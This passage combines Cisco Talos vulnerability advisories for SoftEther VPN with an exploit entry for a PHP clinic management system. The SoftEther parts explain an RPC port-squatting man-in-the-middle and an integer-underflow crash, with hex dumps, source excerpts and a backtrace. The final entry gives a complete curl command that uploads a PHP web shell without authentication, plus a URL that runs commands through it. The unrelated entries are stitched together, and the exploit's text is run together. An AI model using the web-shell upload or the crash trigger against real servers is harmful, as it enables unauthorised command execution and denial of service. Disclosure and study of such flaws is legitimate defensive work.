With all this in mind, a vulnerability is apparent. Assume that a malicious user on a computer that’s expected to be running a SoftEtherVPN client binds to the first port available (9930 or 9931, which is possible without admin privileges), which the RPC server would normally bind to. When a normal SoftEtherVPN client user starts up their client, nothing errors out, since the RPC server would bind to the next available port after the malicious MitM port. The legitimate RPC client meanwhile would connect automatically to the malicious man-in-the-middle port without ever knowing their mistake and would send traffic unencrypted through the man-in-the-middle.

Assuming this occurs, locally or remotely, the attacker has gained a large attack surface. Aside from potentially exploiting other bugs within the RPC client and RPC server, the attacker would have the same access to the VPN client, potentially gaining access to sensitive networks. Alternatively, they could subsequently set up a man-in-the-middle attack against the VPN network itself, potentially leading to further escalation into the network. This could be done crudely either by adding a malicious trusted CA to the SoftEtherVPN client (which would write to the disk), or by intercepting and manipulating the network traffic between the RPC server and RPC client, such that untrusted CA certificates on the remote VPN side were automatically trusted without popping up a message.

**Crash Information**

    $ python2 decept.py 127.0.0.1 9931 127.0.0.1 9932 -l tcp -r tcp --timeout .1 --dont_kill
    [<_<] Decept proxy/sniffer [>_>]
    
    [*.*] Listening on 127.0.0.1:9931
    [$.$] local:tcp|remote:tcp
    [>.>] 12:15:37.349951 Received Connection from ('127.0.0.1', 52198)
    [>.>] 12:15:37.467882 Received Connection from ('127.0.0.1', 52208)
    0000   00 00 00 01 f9 6c ea 19 8a d1 dd 56 17 ac 08 4a    .....l.....V...J
    0010   3d 92 c6 10 77 08 c0 ef                            =...w...
    [o.o] 12:15:37.626257 Sent 24 bytes to remote (127.0.0.1:52208->127.0.0.1:9932)
    
    0000   00 00 00 00                                        ....
    [o.o] 12:15:37.733871 Sent 4 bytes to local (127.0.0.1:52208<-127.0.0.1:9932)
    
    0000   00 00 00 31 00 00 00 01 00 00 00 0e 66 75 6e 63    ...1........func
    0010   74 69 6f 6e 5f 6e 61 6d 65 00 00 00 02 00 00 00    tion_name.......
    0020   01 00 00 00 10 47 65 74 43 6c 69 65 6e 74 56 65    .....GetClientVe
    0030   72 73 69 6f 6e                                     rsion
    [o.o] 12:15:37.841662 Sent 53 bytes to remote (127.0.0.1:52208->127.0.0.1:9932)
    
    0000   00 00 01 c3 00 00 00 0b 00 00 00 16 43 6c 69 65    ............Clie
    0010   6e 74 42 75 69 6c 64 49 6e 66 6f 53 74 72 69 6e    ntBuildInfoStrin
    0020   67 00 00 00 02 00 00 00 01 00 00 00 30 43 6f 6d    g...........0Com
    0030   70 69 6c 65 64 20 32 30 32 33 2f 30 31 2f 31 38    piled 2023/01/18
    0040   20 31 37 3a 33 35 3a 34 37 20 62 79 20 74 68 69     17:35:47 by thi
    0050   65 66 79 20 61 74 20 6b 69 6c 6c 6d 65 00 00 00    efy at killme...
    0060   0f 43 6c 69 65 6e 74 42 75 69 6c 64 49 6e 74 00    .ClientBuildInt.
    0070   00 00 00 00 00 00 01 00 00 14 3c 00 00 00 12 43    ..........<....C
    0080   6c 69 65 6e 74 50 72 6f 64 75 63 74 4e 61 6d 65    lientProductName
    0090   00 00 00 02 00 00 00 01 00 00 00 26 53 6f 66 74    ...........&Soft
    00a0   45 74 68 65 72 20 56 50 4e 20 43 6c 69 65 6e 74    Ether VPN Client
    00b0   20 44 65 76 65 6c 6f 70 65 72 20 45 64 69 74 69     Developer Editi
    00c0   6f 6e 00 00 00 0d 43 6c 69 65 6e 74 56 65 72 49    on....ClientVerI
    00d0   6e 74 00 00 00 00 00 00 00 01 00 00 01 f6 00 00    nt..............
    00e0   00 14 43 6c 69 65 6e 74 56 65 72 73 69 6f 6e 53    ..ClientVersionS
    00f0   74 72 69 6e 67 00 00 00 02 00 00 00 01 00 00 00    tring...........
    0100   23 56 65 72 73 69 6f 6e 20 35 2e 30 32 20 42 75    #Version 5.02 Bu
    0110   69 6c 64 20 35 31 38 30 20 20 20 28 45 6e 67 6c    ild 5180   (Engl
    0120   69 73 68 29 00 00 00 0f 49 73 56 67 63 53 75 70    ish)....IsVgcSup
    0130   70 6f 72 74 65 64 00 00 00 00 00 00 00 01 00 00    ported..........
    0140   00 00 00 00 00 14 49 73 56 4c 61 6e 4e 61 6d 65    ......IsVLanName
    0150   52 65 67 75 6c 61 74 65 64 00 00 00 00 00 00 00    Regulated.......
    0160   01 00 00 00 00 00 00 00 07 4f 73 54 79 70 65 00    .........OsType.
    0170   00 00 00 00 00 00 01 00 00 0c 1c 00 00 00 0a 50    ...............P
    0180   72 6f 63 65 73 73 49 64 00 00 00 00 00 00 00 01    rocessId........
    0190   00 00 00 00 00 00 00 0c 53 68 6f 77 56 67 63 4c    ........ShowVgcL
    01a0   69 6e 6b 00 00 00 00 00 00 00 01 00 00 00 00 00    ink.............
    01b0   00 00 09 43 6c 69 65 6e 74 49 64 00 00 00 02 00    ...ClientId.....
    01c0   00 00 01 00 00 00 00                               .......
    [o.o] 12:15:37.949690 Sent 455 bytes to local (127.0.0.1:52208<-127.0.0.1:9932)
    

**VENDOR RESPONSE**

The vendor issued an advisory: https://www.softether.org/9-about/News/904-SEVPN202301

**TIMELINE**

2023-06-12 - Vendor Disclosure  
2023-06-30 - Vendor Patch Release  
2023-10-12 - Public Release

Discovered by Lilith >\_> of Cisco Talos.

CVE-2023-32634: TALOS-2023-1755 || Cisco Talos Intelligence Group

An integer underflow vulnerability exists in the vpnserver OvsProcessData functionality of SoftEther VPN 5.01.9674 and 5.02. A specially crafted network packet can lead to denial of service. An attacker can send a malicious packet to trigger this vulnerability.

**SUMMARY**

An integer underflow vulnerability exists in the vpnserver OvsProcessData functionality of SoftEther VPN 5.01.9674 and 5.02. A specially crafted network packet can lead to denial of service. An attacker can send a malicious packet to trigger this vulnerability.

**CONFIRMED VULNERABLE VERSIONS**

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

SoftEther VPN 5.01.9674  
SoftEther VPN 5.02  
While 5.01.9674 is a development version, it is distributed at the time of writing by Ubuntu and other Debian-based distributions.

**PRODUCT URLS**

SoftEther VPN - https://www.softether.org/

**CVSSv3 SCORE**

7.5 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

**CWE**

CWE-191 - Integer Underflow (Wrap or Wraparound)

**DETAILS**

SoftEther is a multi-platform VPN project that provides both server and client code to connect over a variety of VPN protocols, including Wireguard, PPTP, SSTP, L2TP, etc. SoftEther has a variety of features for both enterprise and personal use, and enables Nat Traversal out-of-the-box for remote-access setups behind firewalls.

Among the various VPN protocols that SoftEther can talk in, by default, OpenVPN code can be reached via any of the open TCP ports. Based on the start of the input buffer, we can either hit the OpenVPN code or the Wireguard code, or even the normal HTTPS server for management of the VPN configuration itself:

    bool ProtoHandleConnection(PROTO *proto, SOCK *sock, const char *protocol)
    {
        const PROTO_IMPL *impl;
        void *impl_data = NULL;
    
        UCHAR *buf;
        TCP_RAW_DATA *recv_raw_data;
        FIFO *send_fifo;
        INTERRUPT_MANAGER *im;
        SOCK_EVENT *se;
    
        if (proto == NULL || sock == NULL)
        {
            return false;
        }
    
        {
            const PROTO_CONTAINER *container = NULL;
            wchar_t *proto_name;
            LIST *options;
    
            if (protocol != NULL)
            {
                UINT i;
                for (i = 0; i < LIST_NUM(proto->Containers); ++i)
                {
                    const PROTO_CONTAINER *tmp = LIST_DATA(proto->Containers, i);
                    if (StrCmp(tmp->Name, protocol) == 0)
                    {
                        container = tmp;
                        break;
                    }
                }
            }
            else
            {
                UCHAR tmp[PROTO_CHECK_BUFFER_SIZE]; // 2 bytes
    
                if (Peek(sock, tmp, sizeof(tmp)) == 0)
                {
                    return false;
                }
    
                container = ProtoDetect(proto, PROTO_MODE_TCP, tmp, sizeof(tmp)); // [1] 
            }
    

Unless a protocol is explicitly passed to the ProtoHandleConnection function, we end up iterating over all the loaded proto->Containers and calling the container’s ProtoDetect() function at \[1\]:

    const PROTO_CONTAINER *ProtoDetect(const PROTO *proto, const PROTO_MODE mode, const UCHAR *data, const UINT size)
    {
        UINT i;
    
        if (proto == NULL || data == NULL || size == 0)
        {
            return NULL;
        }
    
        for (i = 0; i < LIST_NUM(proto->Containers); ++i)
        {
            const PROTO_CONTAINER *container = LIST_DATA(proto->Containers, i);
            const PROTO_IMPL *impl = container->Impl;
    
            if (ProtoEnabled(proto, container->Name) == false)
            {
                Debug("ProtoDetect(): skipping %s because it's disabled\n", container->Name);
                continue;
            }
    
            if (impl->IsPacketForMe != NULL && impl->IsPacketForMe(mode, data, size)) // [2]
            {
                Debug("ProtoDetect(): %s detected\n", container->Name);
                return container;
            }
        }
    
        Debug("ProtoDetect(): unrecognized protocol\n");
        return NULL;
    }
    

ProtoDetect() boils down to answering the question: Is this packet designated for this specific protocol? And so each container calls its Impl->IsPacketForMe at \[2\]. To understand what functions underpin the IsPacketForMe function pointer, let us quickly look to see where protocols actually get loaded:

    PROTO *ProtoNew(CEDAR *cedar)
    {
        PROTO *proto;
    
        if (cedar == NULL)
        {
            return NULL;
        }
    
        proto = Malloc(sizeof(PROTO));
        proto->Cedar = cedar;
        proto->Containers = NewList(ProtoContainerCompare);
        proto->Sessions = NewHashList(ProtoSessionHash, ProtoSessionCompare, 0, true);
    
        AddRef(cedar->ref);
    
        // WireGuard
        Add(proto->Containers, ProtoContainerNew(WgsGetProtoImpl()));   // [3]
        // OpenVPN
        Add(proto->Containers, ProtoContainerNew(OvsGetProtoImpl()));   // [4]
        // SSTP
        Add(proto->Containers, ProtoContainerNew(SstpGetProtoImpl()));  // [5]
    
        proto->UdpListener = NewUdpListener(ProtoHandleDatagrams, proto, &cedar->Server->ListenIP);
    
        return proto;
    }
    

Clearly written above, we can see that the only VPN protocols enabled by default in SoftEther are WireGuard \[3\], OpenVPN \[4\] and SSTP \[5\]. Since we only care about OpenVPN in this advisory, only the OvsGetProtoImpl function will follow:

    const PROTO_IMPL *OvsGetProtoImpl()
    {
        static const PROTO_IMPL impl =
        {
            OvsName,
            OvsOptions,
            NULL,
            OvsInit,
            OvsFree,
            OvsIsPacketForMe,
            OvsProcessData,
            OvsProcessDatagrams
        };
    
        return &impl;
    }
    

Wrapped by the most simple function, OvsGetProtoImpl() returns a set of function pointers to our proto->Containers. As such, we must now look at the OvsIsPacketForMe function and subsequently OvsProcessData:

    // Check whether it's an OpenVPN packet
    bool OvsIsPacketForMe(const PROTO_MODE mode, const void *data, const UINT size)
    {
        if (data == NULL || size < 2)
        {
            return false;
        }
    
        if (mode == PROTO_MODE_TCP)  // [6]
        {
            const UCHAR *raw = data;
            if (raw[0] == 0x00 && raw[1] == 0x0E)
            {
                return true;
            }
        }
        else if (mode == PROTO_MODE_UDP)
        {
            OPENVPN_PACKET *packet = OvsParsePacket(data, size);
            if (packet == NULL)
            {
                return false;
            }
    
            OvsFreePacket(packet);
            return true;
        }
    
        return false;
    }
    

Since we’re talking TCP, we hit the branch at \[6\]. The only thing that determines whether or not a packet is treated as OpenVPN traffic is if it starts with “\\x00\\x0E”. Continuing on, we now examine where the actual processing of data occurs in OvsProcessData:

    bool OvsProcessData(void *param, TCP_RAW_DATA *in, FIFO *out)
    {
        bool ret = true;
        UINT i;
        OPENVPN_SERVER *server = param;
        UCHAR buf[OPENVPN_TCP_MAX_PACKET_SIZE];  // 2000, 0x7d0  
    
        if (server == NULL || in == NULL || out == NULL)
        {
            return false;
        }
    
        // Separate to a list of datagrams by interpreting the data received from the TCP socket
        while (true)
        {
            UDPPACKET *packet;
            USHORT payload_size, packet_size;
            FIFO *fifo = in->Data;
            const UINT fifo_size = FifoSize(fifo);
    
            if (fifo_size < sizeof(USHORT))
            {
                // Non-arrival
                break;
            }
    
            // The beginning of a packet contains the data size
            payload_size = READ_USHORT(FifoPtr(fifo));           // [7]
            packet_size = payload_size + sizeof(USHORT);         // [8] 
    
            if (payload_size == 0 || packet_size > sizeof(buf))
            {
                ret = false;
                Debug("OvsProcessData(): Invalid payload size: %u bytes\n", payload_size);
                break;
            }
    
            if (fifo_size < packet_size) // fifo_size ends up being actual size of bytes recvd...
            {
                // Non-arrival
                break;
            }
    
    
        if (ReadFifo(fifo, buf, packet_size) != packet_size)    // [9]
        {
            ret = false;
            Debug("OvsProcessData(): ReadFifo() failed to read the packet\n");
            break;
        }
    
        // Insert packet into the list  // only a dos since we're oob'ing into thread stack data
        packet = NewUdpPacket(&in->SrcIP, in->SrcPort, &in->DstIP, in->DstPort, Clone(buf + sizeof(USHORT), payload_size), payload_size);  // [10]
        Add(server->RecvPacketList, packet);
    }
    
    // Process the list of received datagrams
    OvsRecvPacket(server, server->RecvPacketList, OPENVPN_PROTOCOL_TCP); // [11]
    

Starting out, because of our required “\\x00\\x0e” start to our packet, we hit the READ_USHORT at \[7\], and payload_size is naturally 0xe. The subsequent 0xe bytes get read in at \[9\], and then a UDP packet is created at \[10\] to pass the packet on for further processing at \[11\]. We need not go further, however, since the vulnerability lies plainly above. When hitting the next iteration of the while (true) loop, there is no requirement for our buffer to start with “\\x00\\x0e”. As such, if our next two bytes are, say, “\\xFF\\xFF”, then the payload_size gets set to 0xFFFF at \[7\], while the packet_size ushort gets set to 0x1 at \[8\]. Thus we read in a single byte at \[9\], which passes the return value check, and a new UDP packet is created with a length of payload_size at \[10\] (not packet_size).

While normally this would just read in out-of-bounds data from the buf stack buffer and pass it into further processing, since we’re in a linux thread, there’s usually a guard page at the bottom of the thread stack like so:

      0x7f5d00000000     0x7f5d00063000    0x63000        0x0  rw-p   // buf @ 0x7f5d00045abe
      0x7f5d486c6000     0x7f5d486c7000     0x1000        0x0  ---p   // guard pages
      0x7f5d486c7000     0x7f5d486f8000    0x31000        0x0  rw-p   // next thread 
    

Apparently the OvsProcessData function is not far up enough in the backtrace, and so our 0xFFFF read on the stack ends up hitting the guard page and causing a crash. This might behave differently if we are on a Windows SoftEther server; it has not been tested.

**Crash Information**

    Thread 22 "vpnserver" received signal SIGSEGV, Segmentation fault.
    [Switching to Thread 0x7f5d486c5380 (LWP 1214911)]
    __memmove_evex_unaligned_erms () at ../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S:708
    708     ../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S: No such file or directory.
    <(^.^)>#bt
    #0  __memmove_evex_unaligned_erms () at ../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S:708
    #1  0x00007f5d49959e1c in Clone (addr=addr@entry=0x7f5d486c3e52, size=size@entry=65535) at /softether/SoftEtherVPN_orig/src/Mayaqua/Memory.c:3790
    #2  0x00007f5d49ae7253 in OvsProcessData (param=0x7f5d0001d710, in=0x7f5d0000fa40, out=0x7f5d0000bbe0) at /softether/SoftEtherVPN_orig/src/Cedar/Proto_OpenVPN.c:171
    #3  0x00007f5d49acfc0a in ProtoHandleConnection (proto=0x558a14d696d0, sock=sock@entry=0x7f5d1c007080, protocol=protocol@entry=0x0) at /softether/SoftEtherVPN_orig/src/Cedar/Proto.c:590
    #4  0x00007f5d49aa6213 in ConnectionAccept (c=c@entry=0x7f5d0000df40) at /softether/SoftEtherVPN_orig/src/Cedar/Connection.c:3027
    #5  0x00007f5d49ac3142 in TCPAcceptedThread (param=<optimized out>, t=<optimized out>) at /softether/SoftEtherVPN_orig/src/Cedar/Listener.c:181
    #6  TCPAcceptedThread (t=<optimized out>, param=<optimized out>) at /softether/SoftEtherVPN_orig/src/Cedar/Listener.c:140
    #7  0x00007f5d4995443d in ThreadPoolProc (param=0x7f5cfc00c730, t=0x7f5cfc00c500) at /softether/SoftEtherVPN_orig/src/Mayaqua/Kernel.c:872
    #8  ThreadPoolProc (t=0x7f5cfc00c500, param=0x7f5cfc00c730) at /softether/SoftEtherVPN_orig/src/Mayaqua/Kernel.c:827
    #9  0x00007f5d499907d1 in UnixDefaultThreadProc (param=0x7f5cfc0072e0) at /softether/SoftEtherVPN_orig/src/Mayaqua/Unix.c:1594
    #10 0x00007f5d49759b43 in start_thread (arg=<optimized out>) at ./nptl/pthread_create.c:442
    #11 0x00007f5d497eba00 in clone3 () at ../sysdeps/unix/sysv/linux/x86_64/clone3.S:81
    

**VENDOR RESPONSE**

Vendor pull request on Github: https://github.com/SoftEtherVPN/SoftEtherVPN/pull/1824

**TIMELINE**

2023-04-03 - Vendor Disclosure  
2023-04-03 - Initial Vendor Contact  
2023-04-17 - Vendor Patch Release  
2023-10-12 - Public Release

Discovered by Lilith >\_> of Cisco Talos.

CVE-2023-22308: TALOS-2023-1737 || Cisco Talos Intelligence Group

Clinic's Patient Management System version 1.0 suffers from a remote shell upload vulnerability.

    # Exploit Title: Clinic's Patient Management System 1.0 - Unauthenticated RCE# Date: 07.10.2023# Exploit Author: Oğulcan Hami Gül# Vendor Homepage: https://www.sourcecodester.com/php-clinics-patient-management-system-source-code# Software Link: https://www.sourcecodester.com/download-code?nid=15453&title=Clinic%27s+Patient+Management+System+in+PHP%2FPDO+Free+Source+Code# Version: 1.0# Tested on: Windows 10## Unauthenticated users can access /pms/users.php address and they can upload malicious php file instead of profile picture image without any authentication.curl -i -s -k -X $'POST' \    -H $'Host: 192.168.1.36' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate, br' -H $'Content-Type: multipart/form-data; boundary=---------------------------11668063818537881393672984185' -H $'Origin: http://192.168.1.36' -H $'Connection: close' -H $'Referer: http://192.168.1.36/pms/users.php' -H $'Upgrade-Insecure-Requests: 1' -H $'Content-Length: 787' \    --data-binary $'-----------------------------11668063818537881393672984185\x0d\x0aContent-Disposition: form-data; name=\"display_name\"\x0d\x0a\x0d\x0aCannn3\x0d\x0a-----------------------------11668063818537881393672984185\x0d\x0aContent-Disposition: form-data; name=\"user_name\"\x0d\x0a\x0d\x0aGull3\x0d\x0a-----------------------------11668063818537881393672984185\x0d\x0aContent-Disposition: form-data; name=\"password\"\x0d\x0a\x0d\x0acangul\x0d\x0a-----------------------------11668063818537881393672984185\x0d\x0aContent-Disposition: form-data; name=\"profile_picture\"; filename=\"phps.php\"\x0d\x0aContent-Type: application/x-php\x0d\x0a\x0d\x0a<?php\x0a    if(isset($_GET[\'cmd\']))\x0a    {\x0a        system($_GET[\'cmd\']);\x0a    }\x0a?>\x0a\x0d\x0a-----------------------------11668063818537881393672984185\x0d\x0aContent-Disposition: form-data; name=\"save_user\"\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------11668063818537881393672984185--\x0d\x0a' \    $'http://192.168.1.36/pms/users.php'## After the file upload request sent by attacker, Application adds a random number to the beginning of the file to be uploaded. Malicious file can be seen under the path /pms/user_images/ without any authentication.## With the request http://192.168.1.36/pms/user_images/1696703526phps.php?cmd=whoami the attacker can execute arbitrary command on the application server.

Tag

#windows